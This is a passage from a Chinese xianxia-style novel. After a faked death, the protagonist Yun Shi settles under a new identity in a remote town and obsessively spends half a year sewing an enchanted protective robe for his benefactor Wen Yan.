计划在一种紧绷的寂静中向前推行。云实终究没能去见纸鸢一面。不是他不想，而是予带回的消息说纸鸢太忙了，坊里坊外，应对查验，打点关节，还要稳住不断被流言冲击的生意，几乎脚不沾地。


    予挠着头说：“纸鸢姐让我带话，说她知道你惦记，但她现在实在分不开身，等这阵风头过了……再说。”话虽如此，予却很是高兴，“不过我现在可算认识纸鸢姑娘了！云实哥，她人真的特别好，又爽利又聪明，是个顶好的新朋友！”


    时节已近深秋，风里带了明显的寒意。予再来时，扛了一个不小的包袱，放在地上发出沉闷的响声。


    “纸鸢给的，”予搓着手，呵出一口白气，“说快入冬了，西南那边湿冷，让你千万别省着。都是她作坊里出的成衣，料子实在，针脚密实，可比市面上那些糊弄人的强多了。”


    包袱打开，里面是厚实的夹棉衣裤，外袍，还有两件扎实的羊毛坎肩，无一不实用，无一不透露着细致的考量。


    计划在推进中并非一帆风顺，偶有预料之外的阻滞——某个环节的经办人临时调任，预定区域突发小规模兽潮需清理，甚至新身份户籍录入时一处无关紧要的笔误被较真的小吏指出……每一件都可能引发连锁反应。温言像一位沉稳的操盘手，在京城与各方之间无声地落子、斡旋、修正。云实则依照安排行事。一切都必须自然，必须经得起最粗略的事后调查。


    终于，在一个雾气浓重的黎明前夕，云实穿着纸鸢送的棉袍，带着一个简单得近乎寒酸的包裹，再温言的掩护下悄然离开了温言那处庇护他许久的小院。按照严密规划的路线，借助一些非常规的、见不得光的地下通道，他像一滴水汇入暗河，悄无声息地远离了权力中心，朝着西南方向而去。


    旅途漫长而孤寂。当他最终踏上一个名为溪草镇的偏远小镇土地时，干燥清冷的空气里带着明显的尘土和陌生植物的气息。小镇依着一条水量不大的溪流而建，房屋低矮，街道狭窄，往来行人多是面色黧黑的农户或小贩，口音浓重，衣着朴素。这里与他熟悉的青石镇不同，更与京城的繁华喧嚣是两个世界。按照指示，他在镇子最西头、靠近一片小竹林的地方，找到了一处独门小院。院墙是粗糙的土坯垒成，院门老旧，推开时发出“吱呀”的干涩声响。


    小院不大，一间正屋，一间偏房，一个小小的灶间。屋里家具简单，但干净，被褥齐全，米缸里有新米，水缸是满的，灶边甚至整齐码放着耐烧的柴薪。


    云实，不，现在他是“若笠”了。他站在空荡荡的院子里，夕阳将他孤单的影子拉得很长。他环顾四周，竹林的沙沙声，远处隐约的狗吠，隔壁飘来的炊烟气味……一切都是真的，却又像是假的。他竟然真的站在了这里，顶着另一个名字，另一个来历，远离了所有的追捕、算计和熟悉的面孔。没有激动，没有欣喜，只有一种极度不真实的恍惚感，像踩在厚厚的棉絮上，深一脚浅一脚，落不到实处。


    计划……竟然就这样有惊无险地走到了这一步。他“死”了，又在这里“活”了过来。温言成功了？至少暂时是。他安全了？也许吧。但这份用如此代价换来的“安全”，此刻只让他感到一片茫然的空洞，和一丝挥之不去的、仿佛仍在梦中的悬浮感。


    若笠。他在心里默念这个陌生的名字。从今天起，他就是溪草镇的若笠了。一个父母双亡、略识得几个字、会些粗浅手艺、来此投亲不遇只得暂且安身的外乡人。


    他慢慢走进正屋，将那个小小的包袱放在简陋的木桌上。包裹里除了几件换洗衣物，就只有一把他坚持要带来的旧柴斧，以及纸鸢送的那些冬衣。


    掌心似乎还残留着离别前夜，温言握着他手时的温度。鼻腔里，也仿佛还能闻到纸鸢所赠新衣上，那股干净而温暖的、属于阳光和织机的气息。


    他缓缓闭上眼。


    溪草镇的日子，像被溪水浸泡过的粗麻布，粗糙、板结，一眼能望到头。云实——不，若笠，终于能走出那方院落，能在镇上的小茶馆听说书，能去唯一的杂货铺换些油盐，甚至能在屋后那片小小的、贫瘠的空地上，尝试种点易活的菜蔬。身体是自由的，至少比在京城的院子里自由。


    可心却被无形的绳索越捆越紧，沉甸甸地往下坠。


    按理说，他该松口气，甚至该感到庆幸。危险的假死已然完成，新的身份安然落地，温言的谋划有惊无险地走到了这一步。他只需要像无数散落在这片土地上的、无根无萍的低阶修士或凡人一样，放松下来，按部就班地修炼，偶尔接点镇上的零活换取微薄收入，然后安静等待，等待温言安排好一切，送来下一步的消息，或者仅仅是等待时间将云实这个名字彻底冲刷干净。


    可他做不到。


    一种莫名的焦躁如同附骨之疽，日夜啃噬着他。修炼时，丹田内那枚暗银外壳平稳运转，提供着远超以往的精纯力量，可他总觉得这力量悬浮着，落不到实处，与这片土地、这具若笠的躯壳隔着一层。出门走动，看到镇上人们为明日的米粮、为孩子的学费、为屋顶的漏雨而发出的真切愁容或短暂欢笑，他只觉得更加疏离。他们的烦恼如此具体，而他的……是一片庞大而模糊的虚无，是对过往一切被生生斩断的眩晕，是对未来全然不可知的茫然，还有那份对温言、对纸鸢、甚至对予越来越沉重、却不知该如何安放的亏欠感。


    他不知道自己怎么了。夜里常常惊醒，听着窗外单调的风声，浑身冰凉。


    为了找点事做，也为了压住心里那头快要破笼而出的焦兽，他翻出了纸鸢寄来的冬衣里夹带的一小包针线。做针线活能让他平静，手指穿梭于布料经纬间的触感，熟悉得让人心酸，恍惚间仿佛回到了云锦记的后堂。他起初想着，给弟妹，给爸妈做点什么吧。可这个念头刚起，一股强烈的无力感就攫住了他。他想象着妹妹云舒穿上他做的新衣，弟弟云岭或许会在某个官署的午后不经意地抚平衣袖……然后呢？他无法现身，无法解释这衣物的来历，甚至无法知道它们是否真的能送到家人手中，是否会被谨慎的妹妹看出端倪反而引来担忧。这份无法抵达的牵挂，比单纯的思念更折磨人。他颓然放下了给家人做衣服的念头。


    目光转向另外三个人。


    给温言做一件吧。这个念头冒出来，带着些许慰藉，随即又陷入更大的困局。温言似乎从来不缺衣服。记忆里，只要不是身着监察使的正式袍服，温言每一次出现，衣饰都看似随意却质地精良，款式简洁而裁剪得体，几乎从不重样。那些衣料，哪怕以云实过去的布料店经验，也能看出绝非寻常市井之物，光泽、垂感、织法，都透着距离。他该给温言做什么？怎样的款式、颜色、布料，才配得上他，又不显得逾矩或奇怪？更重要的是，他凭什么送？以什么身份送？一个需要他庇护、最终还要靠他苦心筹划才能捡回一条命的麻烦，送一件粗陋的手工衣服，算什么？感激？还是更沉重的负担？


    他也想给纸鸢和予做点什么。


    他提笔给纸鸢写信，语气尽量轻松，只说自己安顿下来了，镇上成衣款式不多，问她能否寄些她作坊里的寻常衣料过来，他想自己试着做点东西，打发时间。他没提心里的憋闷，也没提那些流言是否平息。


    纸鸢的回信来得很快，随信到的还有一个不小的包裹，里面是好几匹颜色素净但质地扎实的棉麻布料，还有几色丝线，甚至贴心地放了几张时下小镇上可能流行的简单衣样。她在信里说，料子尽管用，不够再寄。还说坊里最近总算理顺了些，等手头几件紧要事处理完，她就找机会来看他。信末还有一句：万事开头难，稳住心神，日子总能过下去。


    云实抚摸着那些布料，冰凉的指尖渐渐回暖。他先给予做了一件厚实的短袄，选了耐磨的深褐色，在袖口和衣襟处，用暗青色的线绣了简单的、寓意平安的蔓草纹——予总在外面跑，需要一件挡风耐穿的。接着给纸鸢做了一件披风，用的是青灰色的料子，样式大方，便于行动，在领口内侧，他绣了一小丛几乎看不出的、精致的鸢尾花。


    这两件做得很顺利。飞针走线间，心绪似乎也随着明确的赠与对象而沉静下来。想象着予穿上短袄的样子，纸鸢系上披风的模样，他心里那股无处着力的郁气，好像也找到了一个小小的出口。


    唯独轮到给温言做时，一切都卡住了。


    他选了一块料子里最好的、颜色最稳妥的月白色细棉布，比给纸鸢和予的料子都更费钱，但也仅此而已，与温言平日所穿依旧云泥之别。他对着衣样比划了半天，迟迟下不了第一剪。总怕款式太普通，衬不起他；又怕太刻意，显得谄媚。裁好了衣片，缝了几针，看看不对，拆了。换个针法再缝，还是不对，又拆。袖子的长度、腰身的收束、衣领的弧度……每一个细节都变得无比困难，左看右看都不满意。那月白色的布料上，很快布满了细密的针孔和拆线后留下的凌乱痕迹。


    他并非手艺不精。相反，正因深知其中门道，才更觉无力。他可以用有限的材料，为纸鸢和予做出贴心实用的衣物。可面对温言，他掌握的这点技艺，连同他能拿出的最好材料，在想象中温言所处的那个世界面前，都显得无比寒酸和笨拙。他做的不是一件衣服，而是在反复衡量着自己与温言之间那道看不见的、由身份、阶层、恩情和复杂情感共同构筑的鸿沟。每一针，都仿佛扎在这道沟壑的边缘；每一根线，都像是在试图连接遥不可及的两岸，却总在中途崩断。


    做不出来。


    他怔怔地看着桌上那件拆改数次、已然有些磨损的月白布料半成品，手指无意识地蜷缩起来。那种熟悉的、庞大的无力感，混杂着对自己此刻状态的厌恶，再次席卷而来。他连一件像样的衣服都做不出来，又能做什么呢？只能在这偏远小镇上，扮演一个叫若笠的陌生人，被动地等待，焦虑地空转，然后被自己心里这些理不清、道不明的情绪一点点吞噬。


    窗外，溪草镇的夜晚一如既往的沉寂。他的小院里没有点灯，只有冰冷的月光，映照着桌上那件未完成的衣裳，和蜷在桌边阴影里、一动不动的身影。


    他忘了自己多久没踏出过这院门。


    大概，是从那次去镇上唯一那家兼卖杂货的布庄开始的。


    那天，他心里揣着给温言做衣服的念头，那件拆改无数次、已然有些磨损的月白半成品摊在桌上，像一块无言的嘲笑。他觉得自己找到了症结：衣服太素，太普通。温言那样的人，即便不穿华服，细节处也总有恰如其分的点缀。一枚不起眼的襟扣，一条暗纹的镶边，或许就能打破那种挥之不去的寒酸感。


    他去了镇上那家兼卖杂物的布庄，心里揣着事，目光扫过柜台里陈列的寻常物件时，便带上了不自觉的审视。贝壳扣？太轻飘。黄铜扣？略显俗气。那些编好的丝绦穗子，也总觉得差了点什么。


    掌柜的是个有些眼力的中年人，见他神色专注却迟迟不决，便笑着从柜台下先拿出一个托盘，上面是些成色稍好的铜鎏银扣和几颗打磨过的半透明玛瑙珠子。


    “客官看看这些？寻常可用不上这么好的。”


    云实拿起来对着光看了看，又放下了。成色是比外面的好，但……还不够。他沉默了一会儿，抬眼看向掌柜，声音不高，却很清晰：“掌柜的，这些给寻常富贵人家点缀衣裳是够了。但我想要点……更特别的东西。不图好看，要实在的。你既做这兼营的买卖，来往南北，手里一定有真东西。”


    掌柜的笑容敛了敛，重新打量了一下眼前这个穿着朴素、面色有些苍白憔悴的年轻人。这话不像外行说的。他犹豫片刻，弯腰从柜台最底下，搬出一个用油布裹着的小木匣，解开系绳时动作都小心了几分。


    匣子打开，里面铺着软绸。东西不多，只有五六件。一块鸽卵大小、透着隐隐赤纹的火纹石原石，虽然灵气斑杂，但火属性气息颇为活跃；两截小指粗细、泛着金属光泽的铁木芯，坚硬无比且能导引少许金气；还有几颗虽然细小、但色泽纯正、毫无杂质的海魄晶碎粒，触手冰凉，有凝神之效。这些东西，距离真正的炼器灵材尚有差距，但在凡俗界与低阶修士的模糊地带，已算得上是难得的“好东西”，价格自然也非寻常饰品可比。


    云实的眼睛倏地亮了。他小心地拿起那块火纹石，感受着掌心传来的微烫，又掂了掂铁木芯的重量和质感。就是这些了。布料可以寻常，但点睛之处，必须用上真正蕴含一丝自然特性、能与他的纹路引导产生共鸣的“实料”。


    “这些，我都要了。”他没有讨价还价。


    掌柜的报了个价，云实面色不变，从怀里点出相应的银钱。数目不小，几乎是他数月用度，但他付钱时没有半分犹豫，仿佛那只是一串无意义的数字。温言留下的钱足够丰厚，而他此刻，愿意为这些材料支付任何合理的代价。


    买好了矿石，他又转向另一个目标。


    “染料。不要市面常见的植物膏浆，要颜色最正、最持久的矿物颜料，研磨得越细越好。朱砂、石青、金赭，有好的，也拿来我看看。”


    这次掌柜的没再试探，直接去了后间，取来几个密封的小陶罐。打开，里面的颜料粉末色泽饱满浓郁，质地细腻如尘，远非之前那些陈年货色可比。云实仔细验看过，又挑了几样，同样干脆地付了钱。


    抱着这些零零碎碎的东西回到小屋，他把它们堆在角落。最初几天，他仍试图在那件月白衣袍上添加饰物。用丝线缠绕一颗小珠，缀在领口，对着光看了看，又嫌它笨拙碍眼，拆了。尝试用颜料在衣襟内侧勾勒极细的卷草纹，画到一半，觉得颜色脏污，衬不上那月白的底子，颓然放弃。


    布料在桌上、凳上、甚至地上越堆越高。大多是素色，也有他后来咬牙买下的两匹带着暗纹的、稍贵些的绸料。他像个困在迷宫里的人，不停更换材料，试图找到那条对的路径。他开始在废弃的布片上画纹路。那些曾经在白石坳的绝境中，他用草木汁液和全部意念绘制过的、简陋的引导纹路的变体。螺旋的，回环的，交织的。他画了一遍又一遍，用炭条，用买来的劣质颜料。线条从生涩到流畅，又从流畅变得繁复。他不知道自己为什么要画这些，仿佛手指有自己的记忆，脱离了理智的掌控。


    “做不出来，就一直做。”这个念头不知何时生根，继而疯长，变成了他全部世界的支柱。他不再想“该做什么样的”，而是“必须做出最好的”。这个“最好”的标准模糊而严苛，悬浮在他意识的高处，驱赶着他，让他停不下来。


    作息完全紊乱。饿了，就抓起一把生米，就着水缸里舀起的凉水，麻木地嚼咽。胃里像塞了一团冰冷的、粗糙的砂石，最初只是不适，后来是隐隐的钝痛。直到某次，那钝痛骤然尖锐，像有一只冰冷的手在他腹内狠狠攥紧、拧绞，痛得他瞬间佝偻下去，冷汗涔涔，眼前发黑。他扶着桌沿，佝偻着挪到灶间，用颤抖的手生火，烧水，煮了一锅稀薄的米粥。滚烫的粥滑过食道，落入痉挛的胃袋，带来一阵虚弱的暖意和缓解。那之后，他记得煮饭了，但也仅仅是煮熟而已，常常是盯着灶火，心思早已飞回桌上那些纹路，饭烧糊了也不自知。


    小屋越发像个与世隔绝的工坊，或者牢笼。空气里弥漫着布料纤维的微尘、矿物颜料的土腥气，以及一种属于专注到偏执之人的、凝滞不动的沉闷。他脸上没了血色，眼窝深陷，只有一双眼睛，在凝视那些纹路时，亮得惊人，也空得骇人。


    布料堆成了小山，画废的图样纸团扔了一地。他机械地重复着：设计纹路，裁剪布料，缝上几针，对着光或凭感觉审视，然后摇头，拆掉。循环往复。手指被针扎破无数次，渗出的血珠染在布料上，形成细小的褐色斑点。


    “到底怎样……才配得上他？”这个无声的诘问日夜在脑海中轰鸣。


    温言的形象在他心中越发复杂而遥远，是庇护者，是谋划者，是带着他踏入微妙情感又让他深感自身渺小的存在。他做这件衣服，就像在试图搭建一座通往那个身影的、脆弱无比的桥。每一针都关乎平衡，关乎分寸，关乎他能否在这巨大的恩情与自身不堪的过往之间，找到一个微小的、可以安放自己心意的位置。然而，桥桩总是打歪，桥面总是崩塌。


    直到某个被失败感淹没的深夜，他捏着针线，指尖冰凉，一个被他刻意压抑了许久的画面，猛地撞破心防，清晰地浮现在眼前——


    那还是计划刚起步不久的时候。温言请来的那位易容师手段极高，将尸身处理妥当后，将影像附在密信里，寄来给温言最终确认。温言当时就在小院里，当着他的面展开那封密信。云实看见的，是留影石映出的一幅静止画面：荒草碎石间，一个穿着粗布短衫的年轻人静静躺着，面容安详。易容术很高明，乍一看，恍惚以为是自己躺在那里。但让云实呼吸一窒的，是那身衣服——洗得发白，肘部打着只求牢固、针脚粗硬的补丁，那布料质地，那磨损痕迹，甚至那补丁的风格，都和他离开青石镇前常穿的那件旧衣，几乎一模一样。


    温言很快确认无误，指尖真火燃起，将密信连同留影石拓片烧得干干净净，连灰烬都仔细碾散，不留丝毫痕迹。可那短暂一瞥，已经像烧红的烙铁，烫进了云实眼底最深处。


    此刻，指尖粗布的触感与记忆重合，那画面猛地撞破心防，无比清晰。那孩子……他有过怎样的几十年？家里是不是也有盼他归去的爹娘，有需要他帮衬的弟弟妹妹？他家的店，是卖杂货，还是也卖布料？他怎么会孤零零一个人，死在那荒郊野岭，成了山魈爪下的亡魂？他的家人呢？朋友呢？或许也都死了，或许还在某个地方苦苦等待一个永远不会回来的人。而现在，他连死后都不得安宁，尸身要被利用，成为另一个人洗白的踏脚石，名字和过往都会被彻底抹去，仿佛从未存在过。


    自己……是不是在干一件极其残忍、极其错误的事？


    这个念头像毒藤一样缠上来，勒得他无法呼吸。为了自己活下去，为了那点渺茫的自由，就理所当然地掠夺另一个不幸者最后的痕迹，甚至连他可能存在的、家人的那点渺茫念想也要一并掐灭吗？


    他发现脸上冰凉一片，抬手去擦，摸到的全是湿痕。他哭了。陪苏妄承受那些难以言说的折辱时，他没掉过泪；以前家里穷得揭不开锅，看着爹娘愁白的头发时，他咬着牙把哽咽咽回去；上一次这样失控地流泪，好像还是很久以前，靠在纸鸢的肩膀上，因为苏妄给予的一切而崩溃。这一次，又是为了什么？为了那个陌生的、死去的孩子？还是发现竟也变得如此面目可憎？


    温言发现了他的异样。那双总是能洞察细微的眼睛，在他又一次对着布料出神、泪痕未干时，映入了他的眼帘。温言没有追问具体缘由，只是轻轻握住他冰冷颤抖、布满旧茧的手，用平稳低沉的声音说：“别想了。有些事，发生了就是发生了。往前看，活下去，才是对……所有一切，最好的交代。”


    温言的手很暖，话语里带着不容置疑的安抚力量。


    云实点了点头，把翻腾的情绪强行压回心底深处。他知道温言是对的，箭已离弦，没有回头路。但那份沉重的钝痛，并未消失，只是沉甸甸地坠在那里，成了他心口一道新鲜的、隐秘的伤疤。


    或许是出于一种连自己都无法完全理解的补偿心理，又或许只是想为那份无名的愧疚做点什么，在那些除了缝纫就是发呆的日子里，他拿出温言给他准备新身份时、一并搜罗来的那些五花八门的旧书杂卷。其中有一些，是关于凡人医师的经络穴位图说，还有一些是低阶修士强身健体、引导气血的粗浅法门附图。文字晦涩，图画粗糙，但他看得很仔细。


    他一页页地翻，用指尖在桌上、在自己身上比划。这条脉从哪到哪，这个窍联着哪里，气血流过时该是怎样的感觉……他学得缓慢而吃力，却异常专注。一开始，他脑子里模模糊糊地想的是：如果……如果以后再遇到像那个孩子一样，受了重伤、奄奄一息的人，自己是不是能懂得多一点，哪怕只是帮忙止个血，顺顺气，或许就能从阎王爷手里，抢回一条命？就像……微弱地、弥补一点什么。


    他买来的东西里，也夹杂着几本这类相关的、更专业的抄本和标注了经脉穴位的、简陋的木质人体模型。他对着模型，比照书籍，一点一点地啃。这过程比修炼更枯燥，却奇异地让他那颗因愧疚和执念而焦灼的心，获得了一丝短暂的平静。


    他没想到，这些硬啃下来的、关于人体脉络气血的枯燥知识，会在后来，被他鬼使神差地，一针一线地，绣进了那件月白长袍的内衬夹层里。就在这种麻木的、近乎自我惩罚的重复中，一个念头，像暗夜中的一点磷火，倏地闪过。


    修士的衣服……不仅仅是蔽体保暖。


    他见过天衡宗弟子的袍服，有些内蕴清凉，不畏暑热；有些隐隐有光华流转，是简单的防护阵法。温言那些看似寻常的衣物，是否也暗藏玄机？他从未感知到明确的灵力波动，或许是因为温言修为高深，掩饰得极好，又或许……用的是更精妙、更不露痕迹的方式？


    这个念头一旦生出，便迅速蔓延，与他脑海中那些挥之不去的引导纹路纠缠在一起。


    储物袋的纹路，作用是引导和聚焦，将散乱的生机意念转化为开启空间的钥匙。那么，如果改变纹路的结构、走向、与不同材料的结合方式，引导和聚焦的对象，是否可以不是“开启空间”，而是……别的？


    这个想法让他濒临枯竭的精神猛地一振。是的，这才是方向！一件仅仅好看、舒适的衣服，配不上温言。一件蕴含着“实用”巧思，哪怕功能极其微弱、不显山露水，却真正花了心思、用了手艺的衣服，或许……才有一丝可能，不那么可笑。


    他立刻开始了新的、更疯狂的试验。


    这一次，目标明确，却也困难百倍。储物袋的纹路是固定的、单向的、目的单一的。而要在衣物上实现他设想的功能，纹路需要更复杂，可能需要适应人体轮廓和活动，可能需要多个微型纹路单元组合成阵列，更需要与布料纤维、缝合线路、甚至他手头那些低劣的“饰品”材料完美结合。


    他开始在更大的布片上绘制更复杂的图案。螺旋纹需要变形，回环纹需要连接，还要考虑纹路绣制时，丝线走向对引导效果的影响。


    这是一个极其耗神的过程。每一针落下，都不仅仅是缝纫，更需要他集中全部意念，想象着针尖带着丝线在布料经纬间穿行时的能量通道。这比当初制作一次性储物袋时单纯的意念灌注，要求高了何止十倍。很快，他就感到头痛欲裂，精神透支，眼前阵阵发黑。但他停不下来。


    与之前的绝望拆改不同，此刻的每一次失败，都似乎指向一个更清晰的调整方向。纹路在这里断开，效果不连贯？那就修改连接处的走线方式。绣完一片区域，感觉引导之力滞涩？那就调整丝线的松紧，或者尝试换一种底布料。他完全沉浸在这个由线条、材料、意念构成的微观世界里。


    一个前所未有的优势是，他现在有钱了。温言留给他的安身钱，足够他在这个小镇上购买能买到的最好材料。他不再局限于凡俗材料，开始有意识地去寻找、尝试能与他的意念引导产生更好共鸣的东西。


    他将小屋一角彻底改成了试验台。各种线卷、染料瓶、研磨钵、画满图形的废布料堆叠在一起。饿了，匆匆扒几口冷饭；困极了，就伏在堆满杂物的桌边眯一会儿。胃痛成了常态，视力因为长期在昏暗光线下凝视细密纹路而开始下降，但他浑然不觉。时间在这里失去了意义，只有墙上那道移动的光斑，以及他手底下不断演进、组合、又推倒重来的纹路阵列。


    偶尔，在极度疲惫、精神恍惚的间隙，他会抬起头，透过小窗，看向外面那个他几乎已经遗忘的世界。溪草镇的四季悄然轮转，窗外的竹林由浓绿转为枯黄，又覆上薄霜，最后在某个他未曾留意的清晨，抽出嫩绿的新芽。半年时光，就在这日复一日的针线穿梭、意念绞磨中，如水般流逝。


    其间，他提笔给纸鸢写过一封信。信很短，字迹有些潦草，却用力。


    他说“纸鸢，我很想念你们。但最近风声或许仍紧，我这里一切都好，不必挂念，也先不要来看我。让予也安心，不必来回奔波。等我这边……彻底安稳下来。”


    笔尖顿住时，心头泛起的，却是另一层更深的羞惭——他怕纸鸢和予看见他此刻这副形容枯槁、沉迷于无用之功、近乎疯魔的样子。他把自己锁在这间小屋，锁在这个为温言制作一件完美衣服的执念里，仿佛外面那个需要他关心、也关心着他的世界，都成了模糊的背景噪音。


    纸鸢的回信依旧及时，透着理解和干练。她说知道了，让他自己多保重，缺什么尽管开口。作坊生意尚可，流言似乎淡了些，但她也更加小心。


    这封信让云实在冰冷的偏执中，感到一丝微弱的暖意和更深的愧疚。但他很快又埋首于那片纹路的迷宫。纸鸢的披风，予的短袄，早已完工，整齐地叠放在柜子里。而属于温言的这件，占据了他在溪草镇全部的生活，吞噬了他的时间、健康，乃至清醒的感知。


    衣服在他手里渐渐有了魂魄，这魂魄的源头，是他指尖对引导二字刻入骨髓的记忆。曾经储物袋内衬上，那些简陋螺旋纹曾为他撬开一线生机。如今，他要用这偷来、又用无数不眠之夜和破碎材料生生磨出点新模样的歪理，去编织一些更幽微、也更奢侈的东西。


    念头一旦生根，便如附骨之疽，将他牢牢钉死在这间弥漫着染料与矿石粉尘的小屋，钉死在堆满凌乱布料的桌案前。


    料子是反复洗染的月白，色泽温润得像把晨雾和月光都揉了进去，细看时，有极淡的水流暗纹在经纬间无声淌过，仿佛活物在呼吸。款式是反复推敲过的，简洁到近乎谦卑，肩线的宽度，袖口的收束，腰身那道不起眼的弧度，都对着记忆里那个身影比对过无数回——要不妨碍他执笔或按剑，要方便他翻阅卷宗时袖摆不缠，要让他坐下时依旧从容舒展。这不像是在裁衣，倒像是在用布料与丝线，笨拙地描摹另一个人的习惯与骨肉。


    真正的工夫，全藏在看不见的夹层里，那是他用针尖与意念一点点凿刻出的另一个世界。


    他先对付的是灵力流转。温言的灵力深厚如渊，自有法度，本不需外物置喙。可云实偏执地想，若能让他更顺畅一丝呢？哪怕只省下他弹指间的一缕心神也好。他寻来的矿石在石臼里研磨了千百遍，细得像初冬的第一场霜，掺进特选的丝线里。然后，在衣袍内衬对应人体几处紧要关窍的方位，他落下了第一针。针尖牵引着那蕴着微凉灵气的丝线，走的不是花鸟纹样，而是一条条极其繁复、彼此勾连的“路”。这些路寂静地伏在柔软的织物之下，不生产力量，只做最敏感的河床与最精微的共鸣腔。他绣的时候，想象着当温言的灵力流过这些地方时，衣下的纹路会随之产生难以察觉的微弱震颤，像是无声的应和，或许能抚平奔流中连主人自己都未必察觉的细微滞涩，让那股强大的力量运行得更圆融，更省力。旧书残页里模糊提过，长期浸润此道，对自身灵力的感知也会如镜拭尘，变得更加清晰明澈——这只是他囫囵吞枣看来的猜想，此刻却成了他穿针引线时，心底最虔诚的祝祷。


    接着是心神。他总也忘不了温言眉宇间偶尔掠过、又迅速被温润表面吞没的倦色，还有那双深潭般的眼睛里，需要他极力分辨才能窥见的一丝思虑重影。领口内侧、袖口贴合手腕的地方、后背心……这些最贴近肌肤、也最易感知情绪起伏的所在，他换上了用数种安神草木反复浸染、气味已淡到近乎无有的丝线。针脚在这里变得异常舒缓，绣出的纹路不再是引导，更像是一个个向内旋转的、温柔的涡旋。它们的作用微小到近乎于无，却能在穿戴者心浮气躁、杂念纷扰时，如同悄然置身幽寂竹林深处，吸附走一丝令人烦闷的火气，氤氲开令人不自觉沉静下来的宁和气息。他暗暗希望，在他无法触及的遥远时空里，这件衣服能代替他，给那个人捎去片刻心境的清朗与安宁。


    最耗心血、也最让他如履薄冰的部分，关乎存续与守护。这两个念头源于更深的不安与恐惧，连他自己都不敢细想。他在衣袍腰侧、肩头几处不起眼的节点停下，换上了掺着火纹石粉末的丝线。在这里，他绣的纹路借鉴了储物袋开辟微小空间的原理，但目的截然不同。纹路结构精巧地缠绕成几个极其微缩的“巢”，它们无法储存大量灵力，其用意在于暂存与过渡。当穿戴者灵力消耗剧烈、或是需瞬间爆发却又后继乏力时，或许能从这巢中，汲取一丝预先储存的温和灵力。


    而真正让他呕心沥血的，是防御。他在衣袍的前后心和腰腹要害对应之处，换上了掺着铁木芯粉末和特殊矿物颜料的、近乎坚不可摧的异色丝线。刺绣至此，已不再是劳作，而是一场对心神、眼力与指尖掌控力的残酷榨取。每一针都必须精准地落在他脑中演练过千万次的轨迹上，毫厘之差，可能满盘皆废。绣出的纹路层层叠叠，彼此嵌套勾连，复杂得犹如千年龟甲上天然的裂痕。


    这套纹路阵列，其精妙不在硬抗。他深知自己这点微末道行和手头的材料，妄想抵挡真正的雷霆一击，无异于痴人说梦。他赌上的，是另一种更近乎直觉的构想：感知与偏转。


    他设想，当足够致命的威胁逼近衣袍表面的刹那，最外层那些精心构筑的纹路结构，会像最敏感的琴弦被夜风拂动，产生一丝微弱到极致、却能被内部阵列瞬间捕捉并共振放大的预颤。这颤抖如同投入古井深水的石子，漾开的涟漪沿着纹路勾连的无形通道，一刹那间便传遍整个阵列。


    然后，才是真正的化解。阵列被触发的瞬间，会以一种近乎生命本能的方式，引导穿戴者自身肌肤自然散逸的、那微薄到几乎不存在的气血与灵力（哪怕主人浑然未觉），在遭受攻击的那一点上，急速形成一个肉眼与灵觉都难以捕捉的、高速旋转的偏转之势让直刺心口的锐器在最后一瞬偏开毫厘，让抹向颈侧的寒锋滑向空处，让袭向后背的沉重掌力被卸掉最关键的那一丝劲道。同时，攻击所携的大部分冲击，会被这精妙的纹路阵列引导着、分散到衣袍更大的面积上，由更多坚韧的布料和复杂的结构共同承受，避免所有力量集中于一点，造成瞬间的崩毁。毫厘之差，或许便是生死之隔；卸去半成力道，有时就能搏出一线喘息之机。


    刺绣这些部分时，他常常因精神过度凝聚而眼前发黑，耳中嗡鸣，针尖深深刺破手指也浑然不觉，鲜血渗出，在丝线上留下暗红的斑点，他便默默拆掉那一小段，换上新的线，重头再来。每完成一片巴掌大小的区域，都像经历了一场神魂层面的虚脱，不得不靠着冰冷的土墙滑坐在地，喘息良久，才能重新积攒起拾起针线的力气。


    窗外的溪草镇，在穿针引线的间隙里默然流转。青绿染上枯黄，霜雪覆盖屋瓦，又在某个他未曾抬头的瞬间，被点点鹅黄新绿悄然取代。整整半年的光阴，被抽离、压缩、锻打，最后一丝不剩地，织进了这件逐渐变得沉甸甸的月白长袍之中。


    当最后一根线头被剪断，那声轻微的“嚓”音，在死寂的小屋里竟显得惊心动魄。没有预想中的狂喜或解脱，只有一种被彻底淘空五脏六腑的疲惫，和随之汹涌而来的、无边无际的空茫。他双手捧起这件耗尽了他一切的作品。


    月白的料子流淌着一种极为温润内敛的光泽，那光仿佛是从织物纤维深处自然沁出来的，毫不刺眼，却让整件衣袍笼罩在一层朦胧而洁净的晕彩里。款式是温言一贯偏好且穿着的那种样式，宽绰合度，线条干净利落，没有任何冗余的装饰或刻意彰显身份的纹样。它挂在手里，垂感极佳，料子触手是难以言喻的柔软与顺滑，却又带着筋骨，不至于软塌无形。


    它不会在第一时间夺人眼球，宣称自己多么珍贵，但无论是谁看到，都会觉得它妥帖、舒适、赏心悦目，是一件质地极好、穿着者必定很有品味的日常衣裳。它恰恰是温言衣橱里会有的那种衣服。乍看并不惊人，细看却处处经得起推敲，越看越觉舒服耐看。云实便是对着记忆中温言那些看似随意却绝非凡品的衣物，一点点琢磨、比对，才定下的这最终的模样。


    只有对着光线极其细致地端详，或许才能在那月白温润的底色深处，极其偶然地捕捉到织物纹理间一丝丝更为玄妙的、仿佛活水微澜或呼吸般律动的幽暗痕迹，它们一闪即逝，快得让人来不及确认，更像是一种视觉的恍惚，为这件本就出众的衣裳，平添了几分难以言喻的深度与神秘。


    他呆呆地看着，看了太久，反而失去了评判的能力。他不知道这件衣服究竟算好算坏，在真正的行家眼里价值几何。他只知道自己已倾尽所有——一个布店儿子的全部手艺，一个走了邪路修士的全部领悟，一个被恩情与复杂心绪压得喘不过气的人的全部偏执。


    修仙界并非没有类似的神异法衣，往往被宗门深藏，视为镇派之宝的一部分，炼制之法更是绝密。他看的那些残缺记载，都是几十上百年前的旧闻，语焉不详。他也听过传说，有些惊才绝艳之辈，自身便是一座行走的宝库，举手投足自成法则，无需任何外物点缀。


    但他做的这件不同。它外观只是一件好看舒适的衣裳。


    整整半年。溪草镇默然经历着季节更迭，小屋内的光阴却仿佛被抽离，全部压缩、锻打，一丝丝织入了这件逐渐完整的月白长袍。


    他成功了，也耗尽了。


    接下来呢？他不知道。这衣服，他敢送出去吗？温言会看出其中的门道吗？看出了，又会如何想？


    这些问题沉甸甸地压下来，比过去半年所有具体的困难更让他感到无力。他只是疲惫地闭上眼，听着自己粗重而虚弱的呼吸，在堆满布料和杂物、弥漫着颜料和尘灰气息的小屋里，一声，又一声。


    ……


